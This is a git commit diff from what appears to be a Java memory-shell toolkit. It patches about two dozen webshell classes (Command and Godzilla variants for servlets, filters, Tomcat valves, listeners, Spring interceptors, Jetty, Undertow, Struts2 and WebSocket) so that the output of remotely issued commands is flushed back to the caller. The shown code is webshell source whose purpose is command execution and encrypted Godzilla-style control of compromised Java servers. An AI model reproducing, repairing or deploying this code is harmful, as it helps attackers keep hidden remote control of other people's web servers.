fix: shell connect failed due to empty body

This commit is contained in:
ReaJason
2025-12-16 21:55:21 +08:00
parent 395ca3caa0
commit 9d3fc4d738
26 changed files with 59 additions and 33 deletions
@@ -27,6 +27,8 @@ public class Command {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -7,6 +7,7 @@ import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -24,12 +25,9 @@ public class CommandControllerHandler implements Controller {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -5,6 +5,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -25,12 +26,9 @@ public class CommandFilter implements Filter {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
return;
}
} catch (Throwable e) {
@@ -26,6 +26,8 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
return false;
}
} catch (Throwable e) {
@@ -43,6 +43,8 @@ public class CommandJettyAgentHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
@@ -32,6 +32,8 @@ public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
}
} catch (Throwable e) {
@@ -40,6 +40,8 @@ public class CommandJettyHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -6,6 +6,7 @@ import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -23,14 +24,11 @@ public class CommandListener implements ServletRequestListener {
}
if (p != null) {
String param = getParam(p);
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -30,12 +31,9 @@ public class CommandServlet extends HttpServlet {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -29,6 +29,7 @@ public class CommandStruct2Action {
InputStream inputStream = getInputStream(param);
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable ignored) {
}
@@ -32,6 +32,8 @@ public class CommandUndertowServletHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -35,7 +35,7 @@ public class CommandUpgrade implements UpgradeProtocol {
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
inputStream.close();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -26,6 +26,8 @@ public class CommandValve implements Valve {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
return;
}
} catch (Throwable e) {
@@ -6,6 +6,7 @@ import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Scanner;
/**
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
@@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
public void onMessage(String cmd) {
try {
InputStream inputStream = getInputStream(getParam(cmd));
byte[] buf = new byte[8192];
int length;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
session.getBasicRemote().sendText(outputStream.toString());
session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
} catch (Throwable e) {
e.printStackTrace();
}
@@ -51,6 +51,8 @@ public class Godzilla extends ClassLoader {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -49,6 +49,8 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaFilter extends ClassLoader implements Filter {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -50,6 +50,8 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -66,6 +66,8 @@ public class GodzillaJettyAgentHandler extends ClassLoader {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
@@ -53,6 +53,8 @@ public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfigur
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -57,6 +57,8 @@ public class GodzillaJettyHandler {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -50,6 +50,8 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -47,6 +47,8 @@ public class GodzillaStruct2Action {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -56,6 +56,8 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaValve extends ClassLoader implements Valve {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();